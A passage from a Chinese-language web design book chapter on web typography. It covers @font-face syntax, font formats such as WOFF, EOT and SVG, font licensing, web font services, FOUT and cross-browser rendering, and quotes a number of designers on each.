Kyle Meyer坦率地指出：“尽管具有所有这些技术进步，Web版式仍然处于它的婴儿期。”他本人针对Web设计的极简抽象主义方法以及在Web上艰苦地设置的文字获得了全世界的同行钦佩。Kyle说道：“以前，我们只能利用Web安全字体缓慢地前行，现在我们正在学习与多种服务和字体造字商提供给我们的过多选项打交道。”不过，在跨操作系统和浏览器渲染文字方面仍然存在不一致性，并且“对于许多自学成才的设计师来说，关于处理文字的细微差别还有许多知识需要学习”，Kyle补充说道。

Web设计舞台中的另一处改变是：印刷设计师逐渐过渡到接受创建在线内容的挑战。“随着设计Web内容的工具不断演化以及进入的门槛越来越低，我们将可能看到许多传统的平面设计师进入这个职业。”Kyle Meyer说道，“它带来的结果是，真正的设计知识迅猛地流入传统上更注重自学成才的市场。”

Jon Tan在Web版式设计方面的成就被认为是奠基性的和鼓舞人心的，他乐观地说道Web版式“今天比以往任何时候都更充满活力”并且“Web设计师在持续不断地探索Web字体和CSS版式的限制。像我的同事Richard Rutter、Tim Brown和Paul Irish这样的人正在做出极有价值的贡献。”Jon还指出“印刷与Web之间的分界线在继续弥合。由于在两方采取了如此多的行动，它将很难保留下来”。作为为印刷工作的平面设计师，Ralf Herrmann习惯于控制“文字在页面上看起来将是什么样子的每个微小的细节”。因此看到他热衷于探索如何使用只在CSS3中可用的Open Type特性就不令人感到诧异了，Open Type目前受到有待官方发布的Mozilla Firefox4.0的支持。
(10)



“此刻，Web版式的潜力仍然感觉非常粗糙和受限，但是这肯定会改变。我相信Web版式不仅会迎头赶上，使得网站看起来可以与印刷布局完全一样———它甚至将成为一种更高级的媒介，具有多得多的选择和灵活的布局，可以适应不同用户的特定需求。”

6.1.3　改变是好的；好的改变甚至更好

@font-face的实现和跨浏览器支持特性肯定会使得Web设计要有趣得多，尽管不是没有传统的挑战和令人头痛的事情。

仅仅具有使用和访问更多字体的能力不能使版式变得更好；与之相反，只为屏幕优化或设计了少数几种新的Web字体。如果没有进行任何正确的跨浏览器和跨平台的测试，这些字体在屏幕上的显示效果会导致令人恐怖的可读性和渲染问题。

Web设计师也仍然面临着不得不在多种Web格式中提供相同字型的局面，比如：EOT（用于Internet Explorer的旧版本，包括Internet Explorer 8）、TTF/Open Type（用于Mozilla Firefox3.5及更高版本、Google Chrome4及更高版本、Opera10及更高版本、Opera Mobile9.7及更高版本、Safari3.1及更高版本）、SVG（用于iPhone和iPad上的Mobile Safari，iOS4.2是Mobile Safari用于支持TrueType格式的原始Web字体的第一个版本），可能还包括WOFF（用于大多数现代的浏览器）。

从Google Chrome6、Mozilla Firefox3.6和Internet Explorer9开始，不同的浏览器利用WOFF的实现和支持在更快地发展。“将不会出现另外一场字体格式的战争。”Ralf Herrmann郑重说道，“WOFF肯定将是近来的一种并且是唯一一种Web字体格式。目前使用的如此多的不同格式仅仅在作为备用解决方案时才是必要的，直到绝大多数用户都安装了带有WOFF支持的浏览器为止。”不过，Ralf并不认为新格式是必要的。在他看来，WOFF只是与商业字体供应商同舟共济而达成的妥协的结果。“但是现在字体造字商、浏览器制造商和W3C协作开发WOFF及其实现，我们全都可以从这项开发中获得好处。”

“与我交谈过的每一个人都对WOFF感觉良好”，Tim Brown在参加了TypeCon2010大会后揭露了这一事实，尽管他承认仍然有一些小心谨慎的字体供应商。Tim理解它们的处境，因为它们面对的是一个差别很大的商业模型。但是底线是：“没有可以剽窃的解决方案，但是业务量非常多。”字体造字商越多地参与Web字体许可，就有越多的商业字型许可证可用。

Trent Walton在Web上进行的版式试验和编辑设计在社区中被广泛讨论，他发现Web上的版式很笨拙——非常像“正好碰上快速发育的初中年龄的孩子”。要么设计师使用的字体并不总是在屏幕上可以很好地渲染，要么他们喜爱使用的字体尚不可用。尽管如此，Trent仍然充满希望，感觉这些“成长令人兴奋”，其中每一个人都相互协作，“详细商讨许可和最佳实践。我不得不相信前景比现状要光明得多：经过微调的Web版本的字体世界和单独的WOFF格式。”
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CSS中的OpenType特性：参见http://opentype.info/blog/2010/08/14/betterweb-typography-with-opentype-features

“WOFF是真正重要的标准”，Richard Rutter断言。“它被几乎所有主要的浏览器制造商采用，并且得到了许多字体提供商的赞美（不要说参与其中了）。”Richard丝毫不怀疑WOFF很快将被“全力推荐”，并且相信由于EOT不支持Open Type特性，它越早回头支持WOFF，情况将越好。不过，直至WOFF得到所有主要的浏览器的完全支持之后，Richard才会看到EOT从Web字体格式舞台中消失，这可能要花一些时间。

Richard愿意看到被取代的另一种字体格式是SVG：“它不是用于字体的一种切实可行的格式，尤其是在iOS3中实现时。不能轻松地选择文本，没有Open Type特性或提示可用，并且文件大小大约是普通字体文件的两倍。”

6.1.4　开源文字运动

回到2007年，Jon Tan写了一篇关于屏幕字体的未来的预言性文章
(11)

 ，它涉及利用有限数量的核心Web字体表达暴行，这些字体“抑制了创新……在Web作为平台的世界里，具有10种核心Web字体将没有任何意义。”他分享了他的思想，以组建一个将提供“通用Web文字”的基层组织。该组织将获得资助，可以使感兴趣的文字设计师获得认可，并为他们对具有完整字型的公共可用且免费分发的字体库所做的贡献支付报酬。

在这篇文章发表后不到3年的时间里，事情发生了根本性的改变；业界全力支持@font-face，解决了最终用户的许可协议（EULA）问题，开发了WOFF文件格式
(12)

 ，并为Web字体铺平了道路。不过，Jon仍然维持他是“跨所有操作系统的通用文字的沉默倡导者”。

除了显而易见的原因之外，比如一致性和语言支持，它们允许交付用于外语或者带有扩展字符集的字体，通用文字还将解决另外两个问题：第一，跨所有平台渲染出高质量的效果；它仍然是一个棘手并且费时的问题，因此相信一组核心通用字体可以工作得很好将是有效的。

第二个问题是文件大小。“具有宽泛的Unicode支持的字体的文件可能比较大。”Jon解释道，“Gentium
(13)

 是680KB，而一个极端的示例即Arial Unicode超过了23MB！Web字体的子集化可以解决大小问题，但是尝试具有建立在原始核心Web字体成功的基础上的公共、宽泛、高质量的系统字体集似乎仍然是合乎逻辑的。理想情况下，我喜欢看到的是操作系统供应商在它们全都会在其平台上附带的一组通用字体上开展合作，就像它们对核心Web字体所做的那样。”

Jon的构想尚未变成现实，但是一群自称为“The League of Movable Type（活字联盟）”
(14)

 的设计师和文字爱好者已经在支持开源文字运动和分发设计师可以使用的高质量字体方面发挥了重要作用。在过去两年，设计界见证了数量众多的Web字体交付服务的爆炸式增长，它们基于订购或者购买的每种字体提供商业字体。该联盟通过成为第一个免费的开源文字造字商而脱颖而出。它的创立者Caroline Hadilaksono和Micah Rich通过提供高质量的开源文字而参加了文字革命。“我们一定不缺乏优质的字体，因为有许多这样的字体；只是在此刻，没有一种方便地使用这些字体的方式而已。”Caroline详细阐述道，“像Typekit和Fontdeck这样的服务和新的WOFF格式都提出了它们自己的解决方案，用于以最安全、最赚钱的方式把字体交付给用户，但是它们对于用户来说不一定是最方便、最合理的解决方案。”

来自于编程社区的Micah看到版式正在走向开源：“我认为目前的主要问题是字体制作对于使用和欣赏它的普通人来说是一种如此难以捉摸的艺术，并且我想不出还有什么比使设计师能够制作他们自己的字体更好的方式来修正该问题。我看到有如此多的良好理由使我们需要分享与允许其他人的帮助，以至于驱使我竭尽所能来使之实现。”

“我们对于应该邀请哪些字体和设计师进入我们这个集体有过许多争论，因为有许多压力使每种新字体都成为一种改进，并且每位新成员对于一个目的性很强的组织来说都是有价值的增援。”Micah补充说。不过，该联盟并不仅仅致力于发放免费的字体。更确切地讲，它致力于“解放Web版式”。该联盟不仅允许人们使用字体，还允许文字设计师改进或扩展现有的字型，Caroline将其看作是“促进Web上的版式成长的最佳方式”。

6.1.5　字体许可

随着在线版式舞台近来的发展，关于一些问题有许多激烈的争论，比如EULA（end-user license agreement，最终用户许可协议）、在购买屏幕上使用的字体与印刷使用的字体时的定价方案中的区别，当然还包括免费可用的字体与商业字体。其中一些问题对于对Web字体使用收费的字体造字商是至关重要的；另外一些问题则是关于低质量的免费字体的，并且指示字体设计师创建具有完整系列的专业字型是多么费时、费力。

“我们对字体设计师深怀敬意，并且我们不认同高质量的字型要花费许多时间和专业知识。”Caroline Hadilaksono断言道，“我们并未请求字体设计师免费工作。如果我们的同伴设计师愿意成为我们的运动中的一分子并且贡献他们的字型，那么有时我们确实会提出这种请求，但是我们并未要求人们这样做。”联盟中的所有贡献者都自愿免费提供他们的字体。

Caroline最关心的不是Web字体的费用，而是购买它们所带来的限制：“如果我购买了一种字型，就希望能够以一种合理且不受限制的方式使用它。我不希望自己不得不关心有多少人将在Web上查看这种字型，或者不能在除了Web之外的其他任何地方使用我所购买的字型。对我来说，这类似于在我的台式机上从iTunes购买一首歌曲，但是不能把它复制到我的笔记本电脑或iPod上，这样确实不方便（如果不是不合理的话）。”

在FontFeed上，Yves Peters在他的文章“免费的并非总是自由的（Free is Not Always Free）”中专业地阐明了免费字体背后模棱两可的性质。
(15)

 这篇文章是每位设计师的必读之物，也许对于客户也是如此。Yves解释了在绝大多数情况下免费字体被许可只能自由地用于非商业目的——或者附带有仅单一用户的许可，并且禁止该字体的任何衍生的使用。

Jos Buivenga由于其高质量的免费字体而成为一位大名鼎鼎的文字设计师，他总是从其商业上可用的字型系列中提供一种字体粗细程度或样式供免费使用：“我的所有免费字体都可以用于@font-face规则”，Jos说道，不过在@font-face声明上面需要正确的字体属性。商业使用以及字体自托管也是允许的。不过，严格禁止字体分发，因此设计师不能借助用于特定主题或模板的主题文件提供字体——它们必须代之以把客户指引到Jos的Exljbris网站。
(16)



像任何其他的法律文档一样，带有每种免费或商业字体的EULA可能难以阅读，并且容易被误解。免费字体和商业字体强加的限制可能阻止在网站上使用Web字体。Yves Peters建议我们不要用太多的绊脚石惩罚诚实的用户，并且恳请文字行业的人士从音乐行业从在线分发与数字音乐的使用方面所犯的错误中学到一些经验教训：“EULA中的大多数法律约束力都十分有意义，但是我自己确信许多限制实际上只会伤害那些诚实的用户，而侵犯专利权者和分享者却毫不在乎。”用户应该为其乐意阅读EULA并且在他们所支配的领域关注字体的合法使用而得到奖赏。

6.1.6　已经存在的未来

字体链接是已经存在的未来：大多数字体替代技术都只是通往@font-face的垫脚石。没有哪种文本替代技术能够与使用嵌入到Web页面中的实际字体所提供的灵活性、可用性和威力相匹配，这样使用字体将不会在访问者的计算机上永久地安装它。再加上新的CSS字体特性所具有的潜力和控制，因此对Web设计师为什么对Web字体和@font-face如此兴奋就不会感到惊讶了。

不过，关于@font-face的广泛使用也有几点顾虑：侵权（Mozilla Firefox支持TTF、OTF（“原始”格式），它关心字体造字商和设计师）、业余行为（在任何网站上显示任何字体的能力可能导致灾难性的设计），以及Windows浏览器中在屏幕上渲染文本的问题（Direct Write及其在Internet Explorer 9中的实现已经改变了它）。

Yves Peters不无遗憾地暗示：“侵犯专利权者总会找到一种方式，而不管字体造字商怎么努力地设法阻止它。”对于业余行为以及在屏幕上渲染文本的顾虑可以随着时间的推移而得到缓解，并且在今天没有借口避免使用@font-face。

@font-face背后的概念非常简单：链接到在服务器上某个位置托管的字体文件，然后下载字体并在页面上呈现它。下面是用于@font-face的一般语法：
(17)




@font-face{
 font-family:<a-remote-font-name>;
 src:<source> ［,<source>］;
 ［font-weight:<weight>］;
 ［font-style:<style>］;
}


我们需要指定多种字体格式的来源，因此将需要把它们列出如下：


@font-face {
       font-family: 'MuseoSans500';
       src: url（'museosans_500-webfont.eot'）;
       src:url（'museosans_500-webfont.woff'）;
       src:url（'museosans_500-webfont.ttf'）;
}


不过，上面的代码将在Internet Explorer中引发某些问题：即使我们先列出了EOT（Embedded Open Type，嵌入式Open Type）格式，Internet Explorer仍将下载其他格式，即使它并没有用到它们。

Paul Irish在他的“防弹的@font-face语法（Bulletproof@font-facesyntax）”这篇文章中，设计出了针对@font-face语法的多个问题的解决方案：
(18)




@font-face {
   font-family: 'Graublau Web';
   src: url（'GraublauWeb.eot'）;
   src: local（'&#x263A;'）,
   url（"GraublauWeb.woff"）format（"woff"）,
   url（"GraublauWeb.otf"）format（"Open Type"）,
   url（"GraublauWeb.svg#grablau"）format（"svg"）;
}


在命名了字体之后，我们需要链接.eot文件的来源（它将被除Internet Explorer之外的所有其他的浏览器忽略）。为了阻止Internet Explorer解析任何其他的SRC值，可以利用local（）位置（Internet Explorer不理解它）开始下一个来源，并且对于余下的字体格式利用多个位置继续这个过程。

[image: ]


Tim Brown在http://nicewebtype.com/notes/2009/10/30/how-to-use-css-font-face/上整理了关于如何使用@font-face的综合性资源，包括声明字型的罗马体和斜体版本时的复杂情况

在指定本地字体名称时会引发多个顾虑——包括不同字体共享相同名称的可能性，以及本地机器上的字体版本可能已经过时或者没有为在屏幕上使用而进行优化的可能性。为了处理这些顾虑，Paul提出了“笑脸变化”用于指定本地字体，因为笑脸降低了字体具有用户电脑上可用的那个精确名称的可能性。关于@font-face另外有许多值得注意的地方，Paul定期收集和更新它们。
(19)



利用@font-face开始实现Web字体的最容易的方式是使用由Font Squirrel
(20)

 提供的一种非常有用的、免费的@font-face工具包生成器（假定你正在上传得到正确许可的字型）。这个方便的实用程序可以自动以跨所有主要的浏览器工作所需的许多种格式输出所选的字型。它还会生成准备好使用的CSS文件和演示性的HTML文件。

例如，下面显示了在上传MuselSans500（可以从Jos Buivenga那里免费获得它）时所得到的内容：


@font-face {
       font-family: 'MuseoSans500';
       src:url（'museosans_500-webfont.eot'）;
       src:local（'☺'）,url（'museosans_500-webfont.woff'）
       format（'woff'）,url（'museosans_500-webfont.ttf'）
       format（'truetype'）,
       url（'museosans_500-webfont.svg#webfontO2h34YEf'）
       format（'svg'）;
       font-weight:normal;
       font-style:normal;
}


然后，可以轻松地把这种字体与任何HTML选择器、类和ID结合起来使用，如下所示：

h1 { font-family: 'MuseoSans500', 'Lucida Grande', Arial, Helvetica, sans-serif; }

在CSS字体栈中链接备用字体非常重要：不支持@font-face的浏览器可以恢复到列表上的下一种字体以显示文本。有时，寻找合适的字体替代可能非常棘手，因此要使用栈中的备用字体测试页面是如何呈现的。

注意CSS字体栈还可能减少令人讨厌的未编排样式的文本的闪现（FOUT）效果，当页面显示备用字体时，在Mozilla Firefox和Opera中就可以看到这种效果，直到利用@font-face声明的字体加载完成为止。在Internet Explorer、Google Chrome或Safari中不会出现FOUT效果；Internet Explorer在加载了Web字体之后才会渲染内容，而Web Kit浏览器则在加载完成之后才会渲染Web字体中设置的文本。

很难说以哪种方式提交Web字体更好；一些人争辩说：与在Web字体做好准备前看到空白区域相比，在利用Web字体替换前看到文本的闪现效果是更好的备用选择。如果顺利的话，浏览器制造商将加紧弥补、优化和改进它们的字体嵌入的处理方式。在那一天到来之前，我们可以通过限制外部Web字体的数量来减少FOUT效果，通过子集化或利用gzip处理Web字体文件以减小它的大小
(21)

 （幸运的是，对于已经经过良好优化和压缩的WOFF字体，无需再进行gzip处理），列出CSS字体栈中对Web字体的可能最佳的替代字体，并且使用font-size-adjustCSS属性。

font-size-adjust属性可以让我们为备用字体指定一种最佳的高宽比（小写字母的大小，与字体的大小相比）。它以一种向后兼容的方式工作：它会调整字体大小，使得备用字体的x字高与栈中的第一种字体相同，从而减少了FOUT中可见的变化量。

Inayailide León写了一篇实用的文章，关于如何确定正确的font-size-adjust属性值
(22)

 ，其方法可能比较棘手。Font Squirrel的Web Font Kit（Web字体工具包）生成器通过为其演示文件中生成的Web字体输出font-size-adjust值而简化了这个过程。


p {
font-family: 'CallunaRegular', Georgia, serif;
font-size-adjust: 0.45;
}


Paul Irish也介绍了两个方法用于处理FOUT，它要么隐藏在整个页面中直到下载了Web字体为止，要么只隐藏在文本中。
(23)

 类似地，Typekit开始提供字体事件，用于在Mozilla Firefox中模拟基于Web Kit的浏览器。
(24)



6.1.7　Web字体服务

随着Web上的@font-face实现日益增多，看到一个新的服务提供商细分市场迅速成长起来将不令人感到惊讶：包括字体服务商或第三方字体提供商，它们许可和托管字体。这些Web字体服务通过输出并提供跨所有浏览器的正确格式以及留意字体更新，以便提供字体的最新版本——被提示或者进行优化以便在屏幕上使用，它具有完整的Open Type特性，从而缓解了字体许可的麻烦。

随着Web字体的普及，字体设计师现在面临着提示和屏幕优化。“迄今为止，我还没有专门为屏幕使用设计字体，也没有优化我的现有的字体。”Jos Buivenga说道，“所有的（自动）提示和调整都是由提供我的字体的服务（如Type Kit）本身完成的。”

显然，并非所有人都对链接到在其他服务器上托管的字体这个想法感到高兴：这会加长页面加载时间，可能还会使服务器停机。另外，一张托管账单也会带来额外的不便性，并且人们都偏爱把所有的一切都保存在内部。“我不太在意哪个标准成为了标准，只要它是一个开放的标准并且不依赖于荒唐的许可费用即可。”O liver Reichenstein断言道，“如果我们决定为更多的字体开放Web，关键就是我们能够自由地以尽可能低的费用进行试验，以找到最佳的解决方案。”

Kyle Meyer比较了在线字体标准的当前状况与印刷业的状况后说：“我没有看到正接近变成事实上的标准的通用格式或服务。”不过，他仍然保持积极的态度，因为当前状况将只会“继续促进创新……近来，我们看到了比以往更多的关于在Web上如何处理文字许可和分发的发展和解释。我期望这种状况持续一段时间。”

其他人把字体托管提供商视作一种临时的解决方案。Yves Peters预言，一旦所有主流浏览器都原生支持WOFF和EOT（以向后兼容较老的Internet Explorer浏览器），“像Typekit、Kernest、Fontdeck这样的Web字体托管服务可能会变得过时。”

“过时的浏览器逐渐消失，新浏览器对WOFF的支持意味着@font-face定义中的代码行较少。”Tim Brown补充说。此外，Tim还相信，它将意味着Web设计师要准备和关心的字体文件将更少一些，从而促使他们自己托管字体。话虽如此，Tim并不认为WOFF使Web字体更容易使用：“我们的@font-face定义仍将需要在内部进行协调，并将需要处理字体粗细、样式、本地字体与Open Type特性。我更喜欢把所有这些都立即委托给Typekit，但我没有看到这种变化。”

“在此刻，可用的选项数量令人难以置信。”Kyle Meyer指出。对于初学者，他建议选择一种像Typekit这样的服务，“马上开始了解它是如何工作的”。在大多数情况下，项目的特定细节将指示哪个选项是最高效、最合适的：“也许你需要Bodoni字体，可以从Fontdeck或者Garamond获得它，而后者又可以从Typekit获得；了解每种服务的工作方式及其优缺点是做好准备的最佳方式。”

那些更喜欢自助方法的人可以从数量日益增多的许可使用Web字体的字体服务商那里购买Web字体。Typotheque
(25)

 是第一个为其内部字型开启它自己的Web字体服务的厂商。稍后，FontShop推出了WebFont Fonts
(26)

 ，有30多个最流行的Font Font系列专门为Web使用而进行了优化，并在EOT Lite和WOFF中交付它们。
(27)

 可以直接从Font Shop购买它们，要么自己托管它们，要么利用免费的Typekit账户进行托管，从而扩展兼容性。Web Font Fonts被设计成只在网站上工作；不能应用于桌面，并且它们是按每月的平均视图许可的。在支持希腊语、西里尔字母和东欧语言集合的Pro版本中带有大量的Web Font Fonts。

观察Web字体的推出、实现和许可如何影响预算有限的小企业和个人很有趣，他们通常更喜欢安装免费的主题和模板，或者购买便宜的优质主题。Yves Peters认为收取低廉得足以吸引这样的客户的费用将使Web字体更容易实现；另一方面，许可不应该太便宜，因为这可能会伤害“数字类型的感知价值……在某个价格点以下，将不再会促使人们许可字体，并且将盗用字体或者无论如何都会使用任何可用的字体。这个限值定义了用户是将继续以他们的方式做事情，还是将采用新的可能性。”Yves发现最具有挑战性的方面是使客户相信“专业设计和版式的价值以及可以从中获得的好处”。

另一个选项是使用免费的Web字体，它们要么是从Font Squirrel那里自行下载与使用，要么是使用Google Font API得到的，它带有作为Google Font Directory一部分的免费的开源字型。
(28)

 “我赞赏Google在开源字体方面所做的工作”，Stephen Coles评论道。“这些字体相当好，但是商业字体领域里总是有专业的字体设计师和厂商能够提供更好、种类更多的字体。字体设计师实在是一种过于有难度和专业的职业，以至于对免费的字体有太大的期待。最终，用户将可以选择广泛的Web字体，就像他们为桌面所做的那样。现在，通过浏览器交付字体已不是一个问题，这是一件好事。”

Web Font Fonts是第一批无需从主要的字体服务商那里进行强制性订购或托管即可提供的字体，这使得以与购买桌面字体相同的方式购买大多数Web字体成为可能。“多种服务的出现有利于竞争和选择”，Stephen Coles相信。“它确实不会像许多标准那样严重地伤害市场或用户。能够选择服务或独立的WOFF字体将有利于每一个人。”

Fontdeck的合伙创始人Jon Tan把Fontdeck描述成一个市场，用于为字体服务商和字体设计师提供一种方式来销售他们的作品以及管理Web字体交付。在Fontdeck上，字体设计师和字体服务商可以设定他们自己的价格。“我们认为这对于促进字体设计师的工作以及鼓励Web字体质量方面的精英是至关重要的”，Jon解释说。“我们将帮助客户许可他们的字体，但是从根本上讲，他们要控制许可的费用以及他们自己的工作的质量。”

设计师通过给他们的客户提供Web字体或者通过为他们创建账户，能够把Fontdeck模型纳入他们的项目工作流程中。他们只需为他们实际使用的字体付费。Jon预测，像Fontdeck这样的服务将会与自托管的字体链接共存，类似于人们如何使用其他像Tumblr或Flickr这样的远程服务：“暂且不说别的，至少它意味着Web设计师将总是知道他们可以获取所能得到的最佳字体格式，通常甚至无需知道它们即可进行更新，而不必从字体服务商那里为自托管的字体应用（也许甚至是购买）更新。”

“有大量的竞争空间——因此字体行业可以以它们最适宜的方式销售字型产品，那些对他们的系统不满意的人有机会提出他们自己的方式”，Caroline Hadilaksono说道，并且把The League of Moveable Type指示为这样一种响应。

“我有一个梦想，就是把该联盟转变成不仅仅是展示优秀的开源字体的场所”，Micah Rich满怀希望地说道。目前，Caro line和Micah对于在他们的网站上展示开源字体具有严格的指导，但是他们憎恨拒绝人们提交的作品，并且肩负着以下使命：“把联盟转变成任何人都可以上传原创字体的场所，就像他们在它上面工作一样，在某种程度上，别人可以为他们自己创建一个副本并操作它，以及开发他们自己的作品。”Micah确信：“未来就是合作。”

Ralf Herrmann看到字体服务商和浏览器厂商——它们直到最近才深刻理解彼此的位置——齐心协力，“在Web上实现比以往更好、更通用的文本布局”。Ralf发现看到字体交付服务和字体服务商提出不同的方法和订购模型是迷人的：“对于每种需求似乎都有许多产品可供选择：免费的和开源字体、商业WOFF许可、Web字体服务等……我们确实可以期盼网站的文本布局将在未来几年继续演化。”


 6.2　版式：良好的、糟糕的和丑陋的

随着可供Web设计师选择使用的各种各样的字体日益增多，在Web上设置文字时我们会朝着新的“业余行为”前进吗？或者，由于我们利用Web字体、CSS3、跨浏览器支持中的发展、对Open Type特性的访问、Web设计师对版式愈发浓厚的兴趣以及最终参与Web设计的平面设计师数量的增长所取得的所有进步，会使版式的未来是一片坦途吗？

Stephen Coles在2007年关于Web版式的未来的某些预测
(29)

 是错误的。Web设计师“对于文字比他们过去更老练，并且倾向于以一种更实用的方式查看文本，这有利于避免糟糕的版式的许多缺陷”。Stephen没有看到网站上使用太多糟糕的或错误的字体，他看到的错误倾向于是更基本的错误，比如为正文文本使用显示字体，或者调整过字母间距的文本太紧密或太宽松。

Kyle Meyer认为Web上的文字将反映我们周围的平凡世界：在一些确实糟糕的版式周围伴随着令人惊异的作品。Yves Peters（他的文章描绘了形形色色被文字迷住的Font Feed的爱好者）没有受到可能出现“令人生厌的My Space外观”困扰——就像十年前，当时垃圾设计在20世纪90年代早期到中期泛滥成灾，他仍然能够泰然自若地对待那些层出不穷的粗制滥造的字型。

在“放纵的热情”达到最初的高潮之后，Yves认为新一代创作者将铺平道路：“垃圾热潮是以下事实形成的原因，现在我们在大约不到30年的时间里拥有比文字设计历史上以往任何时候更多的字体设计师。版式确实是生长在一个黄金年代。因此，我确实期盼着发现Web字体的出现在5到10年内将具有什么影响，并且我不仅仅只是心甘情愿地接受随之出现的无用的设计，即我还有更多的期待。”

Yves指出了人们所犯的许多其他的版式错误，他们没有考虑屏幕的分辨率，以及不适合放在像素上的格式类型，比如当我们看到显示为图像或Flash文件的大文本块时；或者错误地使用字符，比如用实际的重音符代替单引号以及用法语中的引号表示箭头。

Richard Rutter把过去几年对版式的日益高涨的兴趣归功于“更多的设计师以他们的字体为傲”，这导致利用Web版式所进行的一些非常令人兴奋的试验——尽管会糟糕地使用不合适的字型：“没有考虑到品味。”

“我不相信在你写下‘狗’这个字时，文字应该会发出犬吠声”，大名鼎鼎的设计师Massimo Vignelli声明道。
(30)

 他对日益增多的数字字型感到不安，因而筹备举办一个展览，只展示多年来在其绝大多数作品中使用的4种字型，即Garamond、Bodoni、Century Expanded和Helvetica：“它不是文字，但是要考虑利用它所做的事情”，Massimo坚持说。他声称良好的设计师在其整个职业生涯里不要并且不应该使用超过半打——或者至多是一打——的字型，这在设计界引起了大量的争论。

John Boardley在他的博客（iLoveTypography.com
(31)

 ）上清楚地说明了为什么他反对Massimo的结论：“尽管他只有有限的、自我强加的文字选项板，他仍然取得了成功，但是世界比Vignelli和他的12个追随者所处的那个时代更大、更美丽。”

Oliver Reichenstein（因其偏爱功能极简抽象主义而著名）则持相反的观点：“Web设计中的字体选择实际上被高估。它非常像是从基本设计转移注意力之举，就像Microsoft Word中的字体和格式选择一样。”他把受限的Web安全字体选项板视作用于保持关注交互和信息设计的“良性设置”：“如果为用户的阅读体验而不是设计师的自我实现而优化设计条件，世界将变得更美好。”

Olive相信出于看起来不同的缘故选择奇特的字体是一个廉价的把戏，但他承认：“虽然每位设计师不需要6种以上的字体，但是所有的设计师一起仍将需要大约20至30种字体才能让人完全满意。清楚地规定使用哪20种字体非常不现实；总会有人遗漏，因此我猜测我们需要像WOFF这样的东西。”

Oliver还暗示，我们不会在线看到制作得足够精巧的版式：“不幸的是，仍然有极少数Web设计师具有足够的屏幕版式敏感性。当我在一些成功的现代网站（如Design Observer）上看到较小的正文文本时，总会感到迷惑不解。为什么他们没有观察到这些‘过时的’字体大小在现代显示器上显得太小呢？”在21世纪早期被大量使用Flash的网站普遍采用的微小、难辨认的文本没有借口在今天或将来与我们不离不弃，不应该依赖于利用Ctrl/Command＋组合键增加文本大小：“我不希望在每次驾车时都要调节我的座椅”，Oliver突然说出这句话，确实是这样的。

新的移动设备和阅读器使一项已经具有挑战性的工作甚至更费力：“更高的分辨率、不同的阅读距离和更高的光线对比度改变了所有的一切”，Oliver警告说，“定义正确的版式感觉就像是在镜子迷宫中跑圈一样”。

6.2.1　Web版式中的问题

“我们在过去几年观察到的绝大多数问题都在原则上或者事实上得到解决了。静止不动是Web文字长时间以来存在的一个重要问题”，Jon Tan反省道，他编写了大量关于Web版式中的多个主题和问题的文章。对于我们中的许多人来说，Windows浏览器上的文字渲染必须是最重要的主题。Jon Tan在剖析与Internet Explorer中的Clear Type和Standard渲染相关的所有错误时
(32)

 ，提到“糟糕渲染的大杂烩将招致天怒人怨”。
(33)

 “Internet Explorer6在2006年被Internet Explorer7取代以前，伴随着我们走过了5年的时间。Windows中的Standard渲染陪伴我们的时间则要长得多，并且还将长时间存在。甚至在2001年发布了安装有Clear Type的Windows XP系统之后，由于它默认是禁用的，因此很少启用它。Vista则默认启用了Clear Type，但是Windows然后只会更好地渲染正文大小，而具有讽刺意味的是，较大文本的渲染效果却很差。直到最近，随着Direct Write的推出才使得Windows的渲染特性成熟起来，现在可以说很优秀”，Jon说道。

“检查我喜爱的字型怎样才能在Mac上看起来如此漂亮，然后必须抛弃该字型，或者为渲染效果比较差的情况提供一种替代方法，这总是有一点违反规则的感觉”，Kyle Meyer坦白道，他还补充说明另一件让人讨厌的事情是缺少对版式中细小而重要的细节的控制，比如字距调整：“在用于Web的许可证下发布的许多字型并未完全配备字偶距，这将导致一些不太理想的情况。”

字体设计师Jos Buivenga也在等待Windows浏览器中改进的文字渲染效果：“现有的、提示性的TTF字体可以渲染为它们始终被渲染的样子，但是看到未提示的或者自动提示的CFFOTF字体像在Mac上可以看见的那样显示将非常好。”

提示或屏幕优化——为了在数字显示设备上获得最佳的可读性而调整字体的过程——是只有Windows才需要的非常费时和费力的过程。MacOS会忽略字体中的提示性指导，并像Apple所认为的那样渲染文本轮廓。由于提示单调乏味且比较费时，99％的字体（甚至商业字体）要么是没有提示的，要么是通过应用自动提示来提供的——这并不总会产生有利的结果。“提示是一个将逐渐消失的问题”，Richard Rutter断言道。Internet Explorer9正在使用Direct Write，它是Microsoft的新一代文本渲染引擎，在渲染文本时使用二维、子像素的防锯齿功能。

更重要的是，屏幕硬件在快速演化。iPhone上新的Retina显示器利用其明快、清晰的326dpi的分辨率改变了游戏的规则。我们开始查看其他高分辨率的设备和具有高于印刷分辨率的屏幕设备就只是时间问题了，一些事情仅仅在一年前还是不可想象的。“它肯定不是一种竞争”，Jon Tan指出道，“但是我几乎可以预见Web版式的创造性潜力超越印刷的时间。”不过，直到那时，对于希望在所有操作系统和浏览器中成功渲染其字体的所有设计师和字体服务商来说，多种平台上的提示和测试字型仍将是绝对必要的。

对于新的、高分辨率的屏幕，Oliver Reichenstein看到了对新的屏幕字体的迫切需要。虽然现有的核心Web字体在低分辨率的显示器上可以很好地渲染较小的尺寸，但是在高分辨率的屏幕上以阅读尺寸渲染时它们看上去将很糟糕。“对于当前的屏幕分辨率，大多数标准大小的Verdana字体已经过时了”，Oliver指出道。“Verdana字体过去在较老的显示器上看上去非常好——但是现在对于正文文本来说大多数尺寸要么太小（小于14px），要么太粗（大于15px）。20px的Georgia普通字体在标题中看起来很好，但是对于iPad正文文本就显得太大了。”

浏览器不一致性将可能伴随设计师相当长的时间。尽管心存不满，不过像Jon Tan所指出的那样，设计师会肯定习惯于解决这个问题，但是与其对应的印刷相比，缺少关于Web版式的专业信息。Jon挑选的Webtypography.net是一个著名的例外，它利用CSS对Web应用传统版式的原则：“这类问候性协作——无论是正式的还是非正式的——可能是版式作品的未来。因为传统的排版人员已经完全接受了Web，因此信息对于每一个人都变得更有用。”

